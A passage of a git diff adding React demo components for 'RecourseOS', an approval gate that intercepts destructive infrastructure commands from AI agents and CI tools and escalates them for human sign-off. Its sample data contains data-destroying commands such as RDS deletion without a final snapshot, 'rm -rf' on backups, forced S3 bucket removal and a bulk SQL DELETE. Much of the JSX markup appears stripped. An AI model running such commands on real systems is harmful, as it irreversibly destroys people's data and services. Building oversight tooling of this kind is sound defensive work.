approved and executed. Thank you for confirming.', + }); + } else { + await rejectEvaluation(evaluation.id); + updateMessage(agentMsgId, { status: 'rejected' }); + addMessage({ + role: 'agent', + content: 'Understood. I won\'t execute that command.', + }); + } + setPendingApproval(null); + } + } catch (err) { + updateMessage(agentMsgId, { status: 'rejected' }); + addMessage({ + role: 'system', + content: `Error connecting to RecourseOS: ${err}`, + }); + } + + setProcessing(false); + }, [input, processing, addMessage, updateMessage]); + + const handleApprove = useCallback(() => { + approvalResolver.current?.(true); + approvalResolver.current = null; + }, []); + + const handleReject = useCallback(() => { + approvalResolver.current?.(false); + approvalResolver.current = null; + }, []); + + return ( +
+ {/* Header */} +
+
+ Claude Code + + Protected by RecourseOS + +
+
+ Connected +
+
+ + {/* Messages */} +
+ {messages.map(msg => ( + + ))} +
+
+ + {/* Approval Banner */} + {pendingApproval && ( + + )} + + {/* Input */} +
+ setInput(e.target.value)} + placeholder="Try: Delete the staging database to save costs..." + disabled={processing} + style={{ + flex: 1, + padding: '12px 16px', + backgroundColor: 'rgba(0, 0, 0, 0.4)', + border: '1px solid rgba(232, 232, 232, 0.15)', + borderRadius: 4, + color: '#e8e8e8', + fontSize: 13, + fontFamily: 'inherit', + outline: 'none', + }} + /> + +
+ + {/* Example prompts */} +
+ Try: + {[ + 'Delete the staging RDS', + 'Remove the old S3 backups', + 'Terminate the test EC2 instance', + 'Delete the api-server deployment', + 'List all S3 buckets', + ].map(prompt => ( + + ))} +
+
+ ); +} + +function sleep(ms: number) { + return new Promise(resolve => setTimeout(resolve, ms)); +} + +export default AgentDemo; diff --git a/integrations/flowos-ui/examples/Dashboard.tsx b/integrations/flowos-ui/examples/Dashboard.tsx new file mode 100644 index 0000000..c77b5c0 --- /dev/null +++ b/integrations/flowos-ui/examples/Dashboard.tsx @@ -0,0 +1,792 @@ +/** + * RecourseOS + FlowOS Dashboard + * + * Multi-source approval dashboard showing requests from: + * - Claude Code (MCP) + * - Terraform Cloud (Run Tasks) + * - kubectl (Admission Controller) + * - GitHub Actions (CI/CD) + * - Direct CLI + */ + +import * as React from 'react'; +import { useState, useCallback, useEffect } from 'react'; + +// ───────────────────────────────────────────────────────────────────────────── +// Types +// ───────────────────────────────────────────────────────────────────────────── + +type Source = 'claude-code' | 'terraform-cloud' | 'kubectl' | 'github-actions' | 'cli'; +type Decision = 'allow' | 'block' | 'escalate'; +type Status = 'pending' | 'approved' | 'rejected' | 'blocked' | 'expired'; + +interface EvaluationRequest { + id: string; + source: Source; + sourceDetails: { + agent?: string; + workspace?: string; + runId?: string; + user?: string; + workflow?: string; + repo?: string; + }; + command: string; + timestamp: Date; + decision: Decision; + status: Status; + riskLevel: 'LOW' | 'MEDIUM' | 'HIGH' | 'CRITICAL'; + recoverability: { tier: number; label: string }; + resource: { type: string; identifier: string }; + mutations: { action: string; resource: string }[]; + reason: string; + attestationId: string; +} + +interface DAGNode { + id: string; + label: string; + status: 'pending' | 'running' | 'completed' | 'blocked' | 'waiting'; + output?: any; +} + +// ───────────────────────────────────────────────────────────────────────────── +// Source Config +// ───────────────────────────────────────────────────────────────────────────── + +const sourceConfig: Record = { + 'claude-code': { label: 'Claude Code', color: '#cc785c', icon: '⌘' }, + 'terraform-cloud': { label: 'Terraform Cloud', color: '#7b42bc', icon: '⬡' }, + 'kubectl': { label: 'kubectl', color: '#326ce5', icon: '☸' }, + 'github-actions': { label: 'GitHub Actions', color: '#2088ff', icon: '⚡' }, + 'cli': { label: 'CLI', color: '#00ff66', icon: '$' }, +}; + +// ───────────────────────────────────────────────────────────────────────────── +// Sample Data Generator +// ───────────────────────────────────────────────────────────────────────────── + +function generateSampleRequests(): EvaluationRequest[] { + return [ + { + id: 'eval-' + Math.random().toString(16).slice(2, 8), + source: 'claude-code', + sourceDetails: { agent: 'claude-opus-4' }, + command: 'aws rds delete-db-instance --db-instance-identifier prod-analytics --skip-final-snapshot', + timestamp: new Date(Date.now() - 45000), + decision: 'escalate', + status: 'pending', + riskLevel: 'CRITICAL', + recoverability: { tier: 4, label: 'UNRECOVERABLE' }, + resource: { type: 'aws_db_instance', identifier: 'prod-analytics' }, + mutations: [ + { action: 'DELETE', resource: 'aws_db_instance.prod-analytics' }, + { action: 'DELETE', resource: 'aws_db_subnet_group.prod-analytics' }, + ], + reason: 'Database deletion without final snapshot - data will be permanently lost', + attestationId: 'att-' + Math.random().toString(16).slice(2, 8), + }, + { + id: 'eval-' + Math.random().toString(16).slice(2, 8), + source: 'terraform-cloud', + sourceDetails: { workspace: 'production-us-east', runId: 'run-qM4x7yNpK2v' }, + command: 'terraform apply (destroy 3 resources)', + timestamp: new Date(Date.now() - 120000), + decision: 'escalate', + status: 'pending', + riskLevel: 'HIGH', + recoverability: { tier: 3, label: 'RECOVERABLE_FROM_BACKUP' }, + resource: { type: 'aws_s3_bucket', identifier: 'customer-uploads-prod' }, + mutations: [ + { action: 'DELETE', resource: 'aws_s3_bucket.customer-uploads-prod' }, + { action: 'DELETE', resource: 'aws_s3_bucket_policy.customer-uploads-prod' }, + { action: 'DELETE', resource: 'aws_cloudfront_distribution.uploads-cdn' }, + ], + reason: 'S3 bucket with customer data - versioning enabled but deletion affects CDN', + attestationId: 'att-' + Math.random().toString(16).slice(2, 8), + }, + { + id: 'eval-' + Math.random().toString(16).slice(2, 8), + source: 'kubectl', + sourceDetails: { user: 'deploy-bot' }, + command: 'kubectl delete deployment api-gateway -n production', + timestamp: new Date(Date.now() - 30000), + decision: 'escalate', + status: 'pending', + riskLevel: 'HIGH', + recoverability: { tier: 2, label: 'RECOVERABLE_WITH_EFFORT' }, + resource: { type: 'kubernetes_deployment', identifier: 'production/api-gateway' }, + mutations: [ + { action: 'DELETE', resource: 'deployment/api-gateway' }, + { action: 'DELETE', resource: 'replicaset/api-gateway-*' }, + { action: 'DELETE', resource: 'pods/api-gateway-*' }, + ], + reason: 'Production deployment deletion - will cause service downtime', + attestationId: 'att-' + Math.random().toString(16).slice(2, 8), + }, + { + id: 'eval-' + Math.random().toString(16).slice(2, 8), + source: 'github-actions', + sourceDetails: { workflow: 'deploy-prod', repo: 'acme/platform' }, + command: 'terraform destroy -target=aws_instance.batch_processor', + timestamp: new Date(Date.now() - 180000), + decision: 'escalate', + status: 'pending', + riskLevel: 'MEDIUM', + recoverability: { tier: 2, label: 'RECOVERABLE_WITH_EFFORT' }, + resource: { type: 'aws_instance', identifier: 'batch_processor' }, + mutations: [ + { action: 'TERMINATE', resource: 'aws_instance.batch_processor' }, + { action: 'DETACH', resource: 'aws_ebs_volume.batch_data' }, + ], + reason: 'EC2 instance termination - EBS volume will be detached but not deleted', + attestationId: 'att-' + Math.random().toString(16).slice(2, 8), + }, + ]; +} + +// ───────────────────────────────────────────────────────────────────────────── +// Components +// ───────────────────────────────────────────────────────────────────────────── + +function SourceBadge({ source }: { source: Source }) { + const config = sourceConfig[source]; + return ( +
+ {config.icon} + {config.label} +
+ ); +} + +function RiskBadge({ level }: { level: string }) { + const colors: Record = { + LOW: '#00ff66', + MEDIUM: '#ffb800', + HIGH: '#ff8c00', + CRITICAL: '#ff5f57', + }; + return ( + + {level} + + ); +} + +function MiniDAG({ nodes }: { nodes: DAGNode[] }) { + return ( +
+ {nodes.map((node, i) => ( + +
+ {node.label} +
+ {i < nodes.length - 1 && ( + + )} +
+ ))} +
+ ); +} + +function RequestCard({ request, onApprove, onReject, onSelect, isSelected }: { + request: EvaluationRequest; + onApprove: () => void; + onReject: () => void; + onSelect: () => void; + isSelected: boolean; +}) { + const dagNodes: DAGNode[] = [ + { id: 'intercept', label: 'Intercept', status: 'completed' }, + { id: 'parse', label: 'Parse', status: 'completed' }, + { id: 'evaluate', label: 'Evaluate', status: 'completed' }, + { id: 'decision', label: 'Decision', status: 'completed' }, + { id: 'approval', label: 'Approval', status: request.status === 'pending' ? 'waiting' : request.status === 'approved' ? 'completed' : 'blocked' }, + { id: 'execute', label: 'Execute', status: request.status === 'pending' ? 'pending' : request.status === 'approved' ? 'completed' : 'blocked' }, + ]; + + const timeAgo = getTimeAgo(request.timestamp); + + return ( +
+ {/* Header */} +
+
+ + {timeAgo} +
+
+ + {request.status === 'pending' && ( + + )} +
+
+ + {/* Source Details */} +
+ {request.source === 'claude-code' && `Agent: ${request.sourceDetails.agent}`} + {request.source === 'terraform-cloud' && `Workspace: ${request.sourceDetails.workspace} • Run: ${request.sourceDetails.runId}`} + {request.source === 'kubectl' && `User: ${request.sourceDetails.user}`} + {request.source === 'github-actions' && `${request.sourceDetails.repo} • ${request.sourceDetails.workflow}`} +
+ + {/* Command */} +
+ $ {request.command} +
+ + {/* Mini DAG */} + + + {/* Resource & Recoverability */} +
+
+ Resource: + {request.resource.identifier} +
+
+ Recoverability: + = 4 ? '#ff5f57' : + request.recoverability.tier >= 3 ? '#ffb800' : '#00ff66' + }}> + Tier {request.recoverability.tier} + +
+
+ + {/* Reason */} +
+ {request.reason} +
+ + {/* Actions */} + {request.status === 'pending' && ( +
e.stopPropagation()}> + + +
+ )} + + {request.status !== 'pending' && ( +
+ {request.status === 'approved' ? '✓ Approved' : '✗ Rejected'} +
+ )} +
+ ); +} + +function DetailPanel({ request }: { request: EvaluationRequest | null }) { + if (!request) { + return ( +
+ Select a request to view details +
+ ); + } + + const config = sourceConfig[request.source]; + + return ( +
+ {/* Header */} +
+
+ {config.icon} + {config.label} +
+
+ ID: {request.id} • Attestation: {request.attestationId} +
+
+ + {/* Command */} +
+
+ Command +
+
+ $ {request.command} +
+
+ + {/* Blast Radius */} +
+
+ Blast Radius ({request.mutations.length} mutations) +
+
+ {request.mutations.map((m, i) => ( +
+ {m.action} + + {m.resource} +
+ ))} +
+
+ + {/* Risk Assessment */} +
+
+ Risk Assessment +
+
+ Risk Level + + Recoverability + = 4 ? '#ff5f57' : + request.recoverability.tier >= 3 ? '#ffb800' : '#00ff66' + }}> + Tier {request.recoverability.tier}: {request.recoverability.label} + + Resource Type + {request.resource.type} + Identifier + {request.resource.identifier} +
+
+ + {/* Attestation */} +
+
+ Attestation +
+
+
+ ID: + {request.attestationId} +
+
+ Verify: + /.well-known/attestations/{request.attestationId}.json +
+
+ Keys: + /.well-known/recourse-keys.json +
+
+
+
+ ); +} + +function StatsBar({ requests }: { requests: EvaluationRequest[] }) { + const pending = requests.filter(r => r.status === 'pending').length; + const approved = requests.filter(r => r.status === 'approved').length; + const rejected = requests.filter(r => r.status === 'rejected').length; + const sources = new Set(requests.map(r => r.source)).size; + + return ( +
+
+ Pending: + 0 ? '#ffb800' : 'rgba(232, 232, 232, 0.7)' }}>{pending} +
+
+ Approved: + {approved} +
+
+ Rejected: + {rejected} +
+
+ Sources: + {sources} +
+
+ ); +} + +// ───────────────────────────────────────────────────────────────────────────── +// Main Dashboard +// ───────────────────────────────────────────────────────────────────────────── + +export function Dashboard() { + const [requests, setRequests] = useState(generateSampleRequests); + const [selectedId, setSelectedId] = useState(null); + const [filter, setFilter] = useState('all'); + + // Simulate new requests coming in + useEffect(() => { + const interval = setInterval(() => { + if (Math.random() > 0.7) { + const sources: Source[] = ['claude-code', 'terraform-cloud', 'kubectl', 'github-actions', 'cli']; + const source = sources[Math.floor(Math.random() * sources.length)]; + const newRequest = generateNewRequest(source); + setRequests(prev => [newRequest, ...prev].slice(0, 10)); + } + }, 8000); + return () => clearInterval(interval); + }, []); + + const handleApprove = useCallback((id: string) => { + setRequests(prev => prev.map(r => + r.id === id ? { ...r, status: 'approved' as Status } : r + )); + }, []); + + const handleReject = useCallback((id: string) => { + setRequests(prev => prev.map(r => + r.id === id ? { ...r, status: 'rejected' as Status } : r + )); + }, []); + + const filteredRequests = filter === 'all' + ? requests + : requests.filter(r => r.source === filter); + + const selectedRequest = requests.find(r => r.id === selectedId) || null; + + return ( +
+ {/* Header */} +
+
+
+ RecourseOS + + Multi-Source Approval Dashboard + +
+
+
+ + ● Live + +
+
+ + {/* Stats */} + + + {/* Filter Bar */} +
+ + {(Object.keys(sourceConfig) as Source[]).map(source => ( + + ))} +
+ + {/* Main Content */} +
+ {/* Request List */} +
+
+ {filteredRequests.length === 0 ? ( +
+ No requests from this source +
+ ) : ( + filteredRequests.map(request => ( + handleApprove(request.id)} + onReject={() => handleReject(request.id)} + onSelect={() => setSelectedId(request.id)} + isSelected={selectedId === request.id} + /> + )) + )} +
+
+ + {/* Detail Panel */} +
+ +
+
+ + {/* Footer */} +
+ Real infrastructure. Real agent. Real protection. +
+ + +
+ ); +} + +// ───────────────────────────────────────────────────────────────────────────── +// Helpers +// ───────────────────────────────────────────────────────────────────────────── + +function getTimeAgo(date: Date): string { + const seconds = Math.floor((Date.now() - date.getTime()) / 1000); + if (seconds < 60) return `${seconds}s ago`; + const minutes = Math.floor(seconds / 60); + if (minutes < 60) return `${minutes}m ago`; + const hours = Math.floor(minutes / 60); + return `${hours}h ago`; +} + +function generateNewRequest(source: Source): EvaluationRequest { + const commands: Record = { + 'claude-code': { + cmd: 'aws dynamodb delete-table --table-name user-sessions', + resource: { type: 'aws_dynamodb_table', identifier: 'user-sessions' }, + mutations: [{ action: 'DELETE', resource: 'aws_dynamodb_table.user-sessions' }], + }, + 'terraform-cloud': { + cmd: 'terraform apply (modify 2 resources)', + resource: { type: 'aws_security_group', identifier: 'allow-all-ingress' }, + mutations: [ + { action: 'MODIFY', resource: 'aws_security_group.allow-all-ingress' }, + { action: 'MODIFY', resource: 'aws_security_group_rule.allow-all' }, + ], + }, + 'kubectl': { + cmd: 'kubectl delete pvc data-volume -n production', + resource: { type: 'kubernetes_pvc', identifier: 'production/data-volume' }, + mutations: [{ action: 'DELETE', resource: 'pvc/data-volume' }], + }, + 'github-actions': { + cmd: 'terraform destroy -target=aws_lambda_function.processor', + resource: { type: 'aws_lambda_function', identifier: 'processor' }, + mutations: [{ action: 'DELETE', resource: 'aws_lambda_function.processor' }], + }, + 'cli': { + cmd: 'rm -rf /var/data/backups/*', + resource: { type: 'filesystem', identifier: '/var/data/backups' }, + mutations: [{ action: 'DELETE', resource: 'filesystem./var/data/backups/*' }], + }, + }; + + const config = commands[source]; + + return { + id: 'eval-' + Math.random().toString(16).slice(2, 8), + source, + sourceDetails: { + agent: source === 'claude-code' ? 'claude-opus-4' : undefined, + workspace: source === 'terraform-cloud' ? 'staging-eu-west' : undefined, + runId: source === 'terraform-cloud' ? 'run-' + Math.random().toString(16).slice(2, 8) : undefined, + user: source === 'kubectl' ? 'ci-bot' : undefined, + workflow: source === 'github-actions' ? 'cleanup-resources' : undefined, + repo: source === 'github-actions' ? 'acme/infrastructure' : undefined, + }, + command: config.cmd, + timestamp: new Date(), + decision: 'escalate', + status: 'pending', + riskLevel: ['MEDIUM', 'HIGH', 'CRITICAL'][Math.floor(Math.random() * 3)] as any, + recoverability: { tier: Math.floor(Math.random() * 3) + 2, label: ['RECOVERABLE_WITH_EFFORT', 'RECOVERABLE_FROM_BACKUP', 'UNRECOVERABLE'][Math.floor(Math.random() * 3)] }, + resource: config.resource, + mutations: config.mutations, + reason: 'Action requires human approval before execution', + attestationId: 'att-' + Math.random().toString(16).slice(2, 8), + }; +} + +export default Dashboard; diff --git a/integrations/flowos-ui/examples/FlowOSDemo.tsx b/integrations/flowos-ui/examples/FlowOSDemo.tsx new file mode 100644 index 0000000..87592f9 --- /dev/null +++ b/integrations/flowos-ui/examples/FlowOSDemo.tsx @@ -0,0 +1,251 @@ +/** + * FlowOS + RecourseOS Integration Demo + * + * This example shows how the consequence drawer integrates with a DAG workflow. + * The layout matches the FlowOS UI spec: + * + * ┌─────────────────────────────────────────┬─────────────────────────────┐ + * │ GRAPH CANVAS │ NODE DRAWER │ + * │ │ │ + * │ ┌──────────┐ ┌──────────┐ │ [ConsequenceDrawer] │ + * │ │fetch_data│────▶│ validate │ │ │ + * │ │ ✓ done │ │ ✓ done │ │ - Mutation Intent │ + * │ └──────────┘ └──────────┘ │ - Risk Assessment │ + * │ │ │ - Affected Resources │ + * │ ▼ │ - Cost & Performance │ + * │ ┌──────────┐ │ │ + * │ │write_to_db│ │ [APPROVE] [REJECT] │ + * │ │ ⏸ waiting│◀─────────│ │ + * │ └──────────┘ │ │ + * └─────────────────────────────────────────┴─────────────────────────────┘ + */ + +import * as React from 'react'; +import { + ConsequenceDrawer, + DagNode, + type ConsequenceReport, + type NodeStatusType, +} from '../src/index'; + +// ───────────────────────────────────────────────────────────────────────────── +// Mock Data +// ───────────────────────────────────────────────────────────────────────────── + +interface DagNodeData { + id: string; + name: string; + status: NodeStatusType; + hasConsequenceGate?: boolean; + consequenceReport?: ConsequenceReport; +} + +const mockNodes: DagNodeData[] = [ + { id: 'fetch_data', name: 'fetch_data', status: 'completed' }, + { id: 'validate_schema', name: 'validate_schema', status: 'completed' }, + { + id: 'write_to_db', + name: 'write_to_db', + status: 'waiting', + hasConsequenceGate: true, + consequenceReport: { + decision: 'escalate', + reason: 'This operation will modify production database records. The DELETE statement affects the users table which contains customer PII. Recovery would require restoring from the most recent backup.', + permitted: false, + approvalRequested: true, + summary: { + totalMutations: 1, + worstRecoverability: { tier: 3, label: 'recoverable-from-backup' }, + needsReview: true, + hasUnrecoverable: false, + }, + mutations: [ + { + target: { + service: 'postgresql', + type: 'table', + id: 'public.users', + }, + action: 'delete', + recoverability: { + tier: 3, + label: 'recoverable-from-backup', + reasoning: 'DELETE FROM users WHERE last_login < 2024-01-01 will remove rows from the users table. This data can be recovered from the daily backup taken at 03:00 UTC, but any changes since then would be lost.', + }, + }, + ], + costEstimate: { monthlyCost: 0, currency: 'USD' }, + timing: { totalMs: 45, evaluationMs: 42 }, + }, + }, + { id: 'notify', name: 'notify', status: 'blocked' }, +]; + +const mockIntent = { + source: 'shell', + command: 'psql -c "DELETE FROM users WHERE last_login < \'2024-01-01\'"', +}; + +// ───────────────────────────────────────────────────────────────────────────── +// Demo Component +// ───────────────────────────────────────────────────────────────────────────── + +export function FlowOSDemo() { + const [nodes, setNodes] = React.useState(mockNodes); + const [selectedNodeId, setSelectedNodeId] = React.useState('write_to_db'); + const [loading, setLoading] = React.useState(false); + + const selectedNode = nodes.find(n => n.id === selectedNodeId); + + const handleApprove = async () => { + if (!selectedNodeId) return; + + setLoading(true); + + // Simulate API call + await new Promise(resolve => setTimeout(resolve, 1000)); + + // Update node statuses + setNodes(prev => prev.map(node => { + if (node.id === selectedNodeId) { + return { ...node, status: 'running' as NodeStatusType }; + } + if (node.id === 'notify') { + return { ...node, status: 'pending' as NodeStatusType }; + } + return node; + })); + + // Simulate completion + setTimeout(() => { + setNodes(prev => prev.map(node => { + if (node.id === selectedNodeId) { + return { ...node, status: 'completed' as NodeStatusType }; + } + if (node.id === 'notify') { + return { ...node, status: 'running' as NodeStatusType }; + } + return node; + })); + }, 1500); + + setLoading(false); + setSelectedNodeId(null); + }; + + const handleReject = async () => { + if (!selectedNodeId) return; + + setLoading(true); + await new Promise(resolve => setTimeout(resolve, 500)); + + setNodes(prev => prev.map(node => { + if (node.id === selectedNodeId) { + return { ...node, status: 'failed' as NodeStatusType }; + } + if (node.id === 'notify') { + return { ...node, status: 'skipped' as NodeStatusType }; + } + return node; + })); + + setLoading(false); + setSelectedNodeId(null); + }; + + return ( +
+ {/* Graph Canvas */} +
+
+

+ FlowOS + RecourseOS Demo +

+

+ Click on a node to view details. The write_to_db node requires approval. +

+
+ + {/* Simple DAG layout */} +
+ {/* Row 1 */} +
+ setSelectedNodeId('fetch_data')} + /> +
+ setSelectedNodeId('validate_schema')} + /> +
+ + {/* Arrow down */} +
+ + {/* Row 2 */} + setSelectedNodeId('write_to_db')} + hasConsequenceGate={nodes[2].hasConsequenceGate} + /> + + {/* Arrow down */} +
+ + {/* Row 3 */} + setSelectedNodeId('notify')} + /> +
+
+ + {/* Node Drawer */} +
+ {selectedNode?.consequenceReport ? ( + + ) : selectedNode ? ( +
+

+ {selectedNode.name} +

+

+ Status: {selectedNode.status} +

+

+ This node does not have a consequence gate. +

+
+ ) : ( +
+ Select a node to view details +
+ )} +
+
+ ); +} + +export default FlowOSDemo; diff --git a/integrations/flowos-ui/examples/FullDemo.tsx b/integrations/flowos-ui/examples/FullDemo.tsx new file mode 100644 index 0000000..c2b2a61 --- /dev/null +++ b/integrations/flowos-ui/examples/FullDemo.tsx @@ -0,0 +1,351 @@ +/** + * Full FlowOS + RecourseOS Demo + * + * DAG visualization with real RecourseOS evaluation. + */ + +import * as React from 'react'; +import { useState, useEffect, useCallback, useRef } from 'react'; + +type NodeStatus = 'pending' | 'running' | 'waiting_for_approval' | 'completed' | 'failed' | 'skipped'; + +interface DagNode { + id: string; + name: string; + type: 'task' | 'recourse_node'; + status: NodeStatus; + dependsOn?: string[]; + command?: string; + evaluation?: any; +} + +interface LogEntry { + id: string; + type: string; + nodeId: string; + message: string; + timestamp: Date; +} + +const API_URL = 'http://localhost:3099'; + +async function evaluateCommand(command: string) { + const res = await fetch(`${API_URL}/evaluate`, { + method: 'POST', + headers: { 'Content-Type': 'application/json' }, + body: JSON.stringify({ intent: { source: 'shell', command }, description: command.slice(0, 50) }), + }); + return res.json(); +} + +async function approveEvaluation(id: string) { + await fetch(`${API_URL}/approve/${id}`, { method: 'POST' }); +} + +async function rejectEvaluation(id: string) { + await fetch(`${API_URL}/reject/${id}`, { method: 'POST' }); +} + +const DEMO_DAGS = { + 'db-cleanup': { + name: 'Database Cleanup Pipeline', + nodes: [ + { id: 'plan', name: 'Plan Cleanup', type: 'task' as const }, + { id: 'cleanup-db', name: 'Delete Staging DB', type: 'recourse_node' as const, dependsOn: ['plan'], command: 'aws rds delete-db-instance --db-instance-identifier staging-db --skip-final-snapshot' }, + { id: 'notify', name: 'Send Notification', type: 'task' as const, dependsOn: ['cleanup-db'] }, + ], + }, + 's3-migration': { + name: 'S3 Bucket Migration', + nodes: [ + { id: 'backup', name: 'Create Backup', type: 'task' as const }, + { id: 'delete-old', name: 'Delete Old Bucket', type: 'recourse_node' as const, dependsOn: ['backup'], command: 'aws s3 rb s3://legacy-data-bucket --force' }, + { id: 'verify', name: 'Verify Migration', type: 'task' as const, dependsOn: ['delete-old'] }, + ], + }, + 'k8s-deploy': { + name: 'Kubernetes Deployment', + nodes: [ + { id: 'build', name: 'Build Image', type: 'task' as const }, + { id: 'delete-old', name: 'Delete Old Deployment', type: 'recourse_node' as const, dependsOn: ['build'], command: 'kubectl delete deployment api-server -n production' }, + { id: 'deploy', name: 'Deploy New Version', type: 'task' as const, dependsOn: ['delete-old'] }, + { id: 'healthcheck', name: 'Health Check', type: 'task' as const, dependsOn: ['deploy'] }, + ], + }, + 'infra-destroy': { + name: 'Infrastructure Teardown', + nodes: [ + { id: 'snapshot', name: 'Create Snapshots', type: 'task' as const }, + { id: 'destroy-rds', name: 'Destroy RDS', type: 'recourse_node' as const, dependsOn: ['snapshot'], command: 'aws rds delete-db-instance --db-instance-identifier prod-database --skip-final-snapshot' }, + { id: 'destroy-ec2', name: 'Terminate EC2', type: 'recourse_node' as const, dependsOn: ['snapshot'], command: 'aws ec2 terminate-instances --instance-ids i-0123456789abcdef0' }, + { id: 'destroy-s3', name: 'Delete S3', type: 'recourse_node' as const, dependsOn: ['destroy-rds', 'destroy-ec2'], command: 'aws s3 rb s3://app-assets --force' }, + { id: 'cleanup', name: 'Final Cleanup', type: 'task' as const, dependsOn: ['destroy-s3'] }, + ], + }, +}; + +const statusColors: Record = { + pending: 'rgba(232, 232, 232, 0.3)', + running: '#00d4ff', + waiting_for_approval: '#ffb800', + completed: '#00ff66', + failed: '#ff5f57', + skipped: 'rgba(232, 232, 232, 0.15)', +}; + +function DagCanvas({ nodes, onNodeClick, selectedId }: { nodes: DagNode[]; onNodeClick: (n: DagNode) => void; selectedId: string | null }) { + const layers: DagNode[][] = []; + const placed = new Set(); + while (placed.size < nodes.length) { + const layer: DagNode[] = []; + for (const node of nodes) { + if (placed.has(node.id)) continue; + if ((node.dependsOn || []).every((d) => placed.has(d))) layer.push(node); + } + if (layer.length === 0) break; + layer.forEach((n) => placed.add(n.id)); + layers.push(layer); + } + + return ( +
+ {layers.map((layer, li) => ( + + {li > 0 &&
} +
+ {layer.map((node) => { + const color = statusColors[node.status]; + const selected = node.id === selectedId; + return ( +
onNodeClick(node)} + style={{ + padding: '12px 20px', + border: `1px solid ${selected ? '#00ff66' : color}`, + borderRadius: '4px', + minWidth: '130px', + textAlign: 'center', + cursor: 'pointer', + backgroundColor: node.status === 'waiting_for_approval' ? 'rgba(255, 184, 0, 0.08)' : selected ? 'rgba(0, 255, 102, 0.05)' : 'transparent', + boxShadow: node.status === 'running' || node.status === 'waiting_for_approval' ? `0 0 15px ${color}40` : 'none', + position: 'relative', + }} + > +
+ {node.type.replace('_', ' ')} +
+
{node.name}
+
+ {node.status.replace(/_/g, ' ')} +
+ {node.status === 'waiting_for_approval' && ( +
+ )} +
+ ); + })} +
+ + ))} +
+ ); +} + +function ConsequenceDrawer({ node, onApprove, onReject }: { node: DagNode | null; onApprove: () => void; onReject: () => void }) { + if (!node) return
Select a node to view details
; + const e = node.evaluation; + return ( +
+
{node.type.replace('_', ' ')}
+
{node.name}
+ {node.command && ( +
+
Command
+
{node.command}
+
+ )} + {e && ( + <> +
+
Verdict
+
+ {e.result.decision} + {e.result.summary.worstRecoverability.label} +
+
+
+
Reason
+
{e.result.reason}
+
+
+
Affected Resources
+ {e.result.mutations.map((m: any, i: number) => ( +
+ {m.target.type} + + {m.action} +
+ ))} +
+ + )} + {node.status === 'waiting_for_approval' && ( +
+ + +
+ )} +
+ ); +} + +function EventLog({ entries }: { entries: LogEntry[] }) { + const ref = useRef(null); + useEffect(() => { ref.current?.scrollIntoView({ behavior: 'smooth' }); }, [entries.length]); + return ( +
+
Event Log
+ {entries.map((e) => ( +
+ {e.timestamp.toLocaleTimeString()} + [{e.nodeId}] + {e.message} +
+ ))} +
+
+ ); +} + +export function FullDemo() { + const [dagKey, setDagKey] = useState('db-cleanup'); + const [nodes, setNodes] = useState([]); + const [runStatus, setRunStatus] = useState<'idle' | 'running' | 'completed' | 'failed'>('idle'); + const [selectedId, setSelectedId] = useState(null); + const [logs, setLogs] = useState([]); + const approvalResolver = useRef<((approved: boolean) => void) | null>(null); + + useEffect(() => { + const dag = DEMO_DAGS[dagKey]; + setNodes(dag.nodes.map((n) => ({ ...n, status: 'pending' as NodeStatus }))); + setSelectedId(null); + setLogs([]); + setRunStatus('idle'); + }, [dagKey]); + + const addLog = useCallback((nodeId: string, type: string, message: string) => { + setLogs((p) => [...p, { id: `${Date.now()}`, type, nodeId, message, timestamp: new Date() }]); + }, []); + + const updateNode = useCallback((id: string, updates: Partial) => { + setNodes((p) => p.map((n) => n.id === id ? { ...n, ...updates } : n)); + }, []); + + const selectedNode = nodes.find((n) => n.id === selectedId) || null; + + const runDag = useCallback(async () => { + const dag = DEMO_DAGS[dagKey]; + setNodes(dag.nodes.map((n) => ({ ...n, status: 'pending' as NodeStatus, evaluation: undefined }))); + setLogs([]); + setRunStatus('running'); + addLog('system', 'start', 'DAG execution started'); + + const completed = new Set(); + let failed = false; + + while (completed.size < dag.nodes.length && !failed) { + const ready = dag.nodes.filter((n) => !completed.has(n.id) && (n.dependsOn || []).every((d) => completed.has(d))); + if (ready.length === 0) break; + + for (const node of ready) { + updateNode(node.id, { status: 'running' }); + addLog(node.id, 'running', `Starting ${node.type}`); + setSelectedId(node.id); + await sleep(500); + + if (node.type === 'recourse_node' && node.command) { + addLog(node.id, 'evaluating', 'Calling RecourseOS...'); + try { + const eval_ = await evaluateCommand(node.command); + updateNode(node.id, { evaluation: eval_ }); + + if (eval_.result.decision === 'allow') { + addLog(node.id, 'approved', `Auto-approved`); + updateNode(node.id, { status: 'completed' }); + completed.add(node.id); + } else if (eval_.result.decision === 'block') { + addLog(node.id, 'blocked', `Blocked: ${eval_.result.reason.slice(0, 40)}...`); + updateNode(node.id, { status: 'failed' }); + failed = true; + } else { + addLog(node.id, 'waiting', `Escalated - awaiting approval`); + updateNode(node.id, { status: 'waiting_for_approval' }); + const approved = await new Promise((resolve) => { approvalResolver.current = resolve; }); + if (approved) { + await approveEvaluation(eval_.id); + addLog(node.id, 'approved', 'Human approved'); + updateNode(node.id, { status: 'completed' }); + completed.add(node.id); + } else { + await rejectEvaluation(eval_.id); + addLog(node.id, 'rejected', 'Human rejected'); + updateNode(node.id, { status: 'failed' }); + failed = true; + } + } + } catch (err) { + addLog(node.id, 'error', `API error: ${err}`); + updateNode(node.id, { status: 'failed' }); + failed = true; + } + } else { + await sleep(300); + updateNode(node.id, { status: 'completed' }); + addLog(node.id, 'completed', 'Task completed'); + completed.add(node.id); + } + } + } + + for (const node of dag.nodes) { + if (!completed.has(node.id)) updateNode(node.id, { status: 'skipped' }); + } + setRunStatus(failed ? 'failed' : 'completed'); + addLog('system', failed ? 'failed' : 'completed', `DAG ${failed ? 'failed' : 'completed'}`); + }, [dagKey, addLog, updateNode]); + + const handleApprove = useCallback(() => { approvalResolver.current?.(true); approvalResolver.current = null; }, []); + const handleReject = useCallback(() => { approvalResolver.current?.(false); approvalResolver.current = null; }, []); + + return ( +
+
+
+ FlowOS + RecourseOS + +
+
+ {runStatus} + +
+
+
+
+ setSelectedId(n.id)} selectedId={selectedId} /> +
+
+ + +
+
+ +
